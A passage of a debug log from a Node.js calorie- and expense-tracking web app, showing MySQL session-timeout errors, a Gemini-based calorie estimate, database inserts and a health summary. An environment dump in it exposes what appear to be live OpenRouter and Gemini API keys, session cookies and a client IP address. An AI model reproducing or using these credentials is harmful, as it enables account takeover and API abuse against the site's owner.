2025-12-20T07:54:46.956Z server-connect:app options: { provider: 'security' }
2025-12-20T07:54:46.956Z server-connect:output identity: 1
2025-12-20T07:54:48.388Z server-connect:app Executing action step identify
2025-12-20T07:54:48.388Z server-connect:app options: { provider: 'security' }
2025-12-20T07:54:48.388Z server-connect:output identity: 1
2025-12-20T08:00:50.229Z server-connect:app Executing action step identify
2025-12-20T08:00:50.229Z server-connect:app options: { provider: 'security' }
2025-12-20T08:00:50.229Z server-connect:output identity: 1
2025-12-20T08:00:52.750Z server-connect:app Executing action step identify
2025-12-20T08:00:52.750Z server-connect:app options: { provider: 'security' }
2025-12-20T08:00:52.750Z server-connect:output identity: 1
2025-12-20T08:40:27.231Z server-connect:app Executing action step identify
2025-12-20T08:40:27.231Z server-connect:app options: { provider: 'security' }
2025-12-20T08:40:27.231Z server-connect:output identity: 1
2025-12-20T08:40:29.652Z server-connect:app Executing action step identify
2025-12-20T08:40:29.652Z server-connect:app options: { provider: 'security' }
2025-12-20T08:40:29.652Z server-connect:output identity: 1
2025-12-20T08:49:46.230Z server-connect:app Executing action step identify
2025-12-20T08:49:46.230Z server-connect:app options: { provider: 'security' }
2025-12-20T08:49:46.231Z server-connect:output identity: 1
2025-12-20T08:49:49.577Z server-connect:app Executing action step identify
2025-12-20T08:49:49.577Z server-connect:app options: { provider: 'security' }
2025-12-20T08:49:49.577Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 08:51:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 08:51:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 08:55:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 08:55:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 08:58:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 08:58:18' as DATETIME)"
}
2025-12-20T09:07:10.231Z server-connect:app Executing action step identify
2025-12-20T09:07:10.231Z server-connect:app options: { provider: 'security' }
2025-12-20T09:07:10.231Z server-connect:output identity: 1
2025-12-20T09:07:12.535Z server-connect:app Executing action step identify
2025-12-20T09:07:12.535Z server-connect:app options: { provider: 'security' }
2025-12-20T09:07:12.535Z server-connect:output identity: 1
2025-12-20T09:18:09.226Z server-connect:app Executing action step identify
2025-12-20T09:18:09.226Z server-connect:app options: { provider: 'security' }
2025-12-20T09:18:09.226Z server-connect:output identity: 1
2025-12-20T09:18:11.553Z server-connect:app Executing action step identify
2025-12-20T09:18:11.553Z server-connect:app options: { provider: 'security' }
2025-12-20T09:18:11.553Z server-connect:output identity: 1
2025-12-20T09:24:33.231Z server-connect:app Executing action step identify
2025-12-20T09:24:33.231Z server-connect:app options: { provider: 'security' }
2025-12-20T09:24:33.232Z server-connect:output identity: 1
2025-12-20T09:24:37.509Z server-connect:app Executing action step identify
2025-12-20T09:24:37.510Z server-connect:app options: { provider: 'security' }
2025-12-20T09:24:37.510Z server-connect:output identity: 1
2025-12-20T09:43:53.223Z server-connect:app Executing action step identify
2025-12-20T09:43:53.223Z server-connect:app options: { provider: 'security' }
2025-12-20T09:43:53.223Z server-connect:output identity: 1
2025-12-20T09:43:55.832Z server-connect:app Executing action step identify
2025-12-20T09:43:55.832Z server-connect:app options: { provider: 'security' }
2025-12-20T09:43:55.832Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 09:45:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 09:45:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 09:46:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 09:46:18' as DATETIME)"
}
2025-12-20T10:16:56.790Z server-connect:app Executing action step identify
2025-12-20T10:16:56.790Z server-connect:app options: { provider: 'security' }
2025-12-20T10:16:56.790Z server-connect:output identity: 1
2025-12-20T10:16:59.854Z server-connect:app Executing action step identify
2025-12-20T10:16:59.854Z server-connect:app options: { provider: 'security' }
2025-12-20T10:16:59.854Z server-connect:output identity: 1
2025-12-20T10:19:28.264Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T10:19:28.265Z server-connect:app Executing action step identify
2025-12-20T10:19:28.265Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:28.265Z server-connect:output identity: 1
2025-12-20T10:19:28.265Z server-connect:app Executing action step restrict
2025-12-20T10:19:28.265Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:28.267Z server-connect:output restrict: undefined
2025-12-20T10:19:28.268Z server-connect:app Executing action step processWithGemini
2025-12-20T10:19:28.268Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T10:19:31.229Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Banana',
      quantity: '1 medium (approx 118g)',
      calories_consumed: 105,
      total_calories: 105,
      protein: 1.3,
      carbs: 27,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Milk',
      quantity: '1 cup (approx 240ml, assuming whole milk)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 8,
      carbs: 12,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Cashew',
      quantity: 'Few (approx 10g, about 5-6 cashews)',
      calories_consumed: 55,
      total_calories: 55,
      protein: 1.8,
      carbs: 3,
      fat: 4.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: {
    protein: { value: 11.1, unit: 'g' },
    carbs: { value: 42, unit: 'g' },
    fat: { value: 12.8, unit: 'g' },
    calories: { value: 310, unit: 'kcal' }
  }
}
2025-12-20T10:19:42.935Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T10:19:42.935Z server-connect:app Executing action step identify
2025-12-20T10:19:42.935Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:42.936Z server-connect:output identity: 1
2025-12-20T10:19:42.936Z server-connect:app Executing action step restrict
2025-12-20T10:19:42.936Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:42.936Z server-connect:output restrict: undefined
2025-12-20T10:19:42.936Z server-connect:app Executing action step condition
2025-12-20T10:19:42.936Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T10:19:42.936Z server-connect:app Executing action step repeat
2025-12-20T10:19:42.936Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T10:19:42.936Z server-connect:app Executing action step insert
2025-12-20T10:19:42.936Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T10:19:42.938Z server-connect:output calories: { affected: 1, identity: 467 }
2025-12-20T10:19:42.938Z server-connect:app Executing action step insert
2025-12-20T10:19:42.938Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T10:19:42.939Z server-connect:output calories: { affected: 1, identity: 468 }
2025-12-20T10:19:42.939Z server-connect:app Executing action step insert
2025-12-20T10:19:42.939Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T10:19:42.939Z server-connect:output calories: { affected: 1, identity: 469 }
2025-12-20T10:19:42.939Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-20T10:19:42.939Z server-connect:output condition: undefined
2025-12-20T10:19:43.137Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T10:19:43.137Z server-connect:app Executing action step identify
2025-12-20T10:19:43.137Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.137Z server-connect:output identity: 1
2025-12-20T10:19:43.138Z server-connect:app Executing action step restrict
2025-12-20T10:19:43.138Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T10:19:43.138Z server-connect:output restrict: undefined
2025-12-20T10:19:43.138Z server-connect:router Render template layouts/main
2025-12-20T10:19:43.138Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T10:19:43.343Z server-connect:app Executing action step identify
2025-12-20T10:19:43.343Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.343Z server-connect:output identity: 1
2025-12-20T10:19:43.667Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T10:19:43.668Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T10:19:43.668Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T10:19:43.669Z server-connect:app Executing action step identify
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.669Z server-connect:output identity: 1
2025-12-20T10:19:43.669Z server-connect:app Executing action step restrict
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:43.669Z server-connect:app Executing action step identify
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.669Z server-connect:output identity: 1
2025-12-20T10:19:43.669Z server-connect:app Executing action step restrict
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:43.669Z server-connect:app Executing action step identify
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.669Z server-connect:output identity: 1
2025-12-20T10:19:43.669Z server-connect:app Executing action step restrict
2025-12-20T10:19:43.669Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.669Z server-connect:output restrict: undefined
2025-12-20T10:19:43.670Z server-connect:app Executing action step single
2025-12-20T10:19:43.670Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T10:19:43.672Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T10:19:43.672Z server-connect:output restrict: undefined
2025-12-20T10:19:43.672Z server-connect:app Executing action step select
2025-12-20T10:19:43.672Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T10:19:43.673Z server-connect:app Executing action step identify
2025-12-20T10:19:43.673Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:43.673Z server-connect:output identity: 1
2025-12-20T10:19:43.673Z server-connect:app Executing action step restrict
2025-12-20T10:19:43.673Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:43.673Z server-connect:output restrict: undefined
2025-12-20T10:19:43.673Z server-connect:app Executing action step single
2025-12-20T10:19:43.673Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T10:19:43.677Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake shows a good inclusion of protein sources, particularly paneer and whey, which aligns well with muscle development goals. The meal timing appears spread out, supporting consistent energy levels. However, the overall volume of food seems moderate, and incorporating more fiber-rich options would be beneficial for satiety and digestion. Continued adherence to this pattern could lead to gradual progress.",
    bad_points: [
      'Limited variety in food items consumed.',
      'Lack of significant vegetable or complex carbohydrate sources.',
      'Potential for higher protein intake to further support muscle development.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Pre-workout supplement taken, indicating preparation for exercise.',
      'Meals appear to be spaced throughout the day.'
    ],
    suggestions: [
      'Aim to incorporate a larger portion of vegetables with meals.',
      'Consider adding whole grains or complex carbohydrates to meals for sustained energy.',
      'Explore other lean protein sources to diversify intake.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T10:19:43.685Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
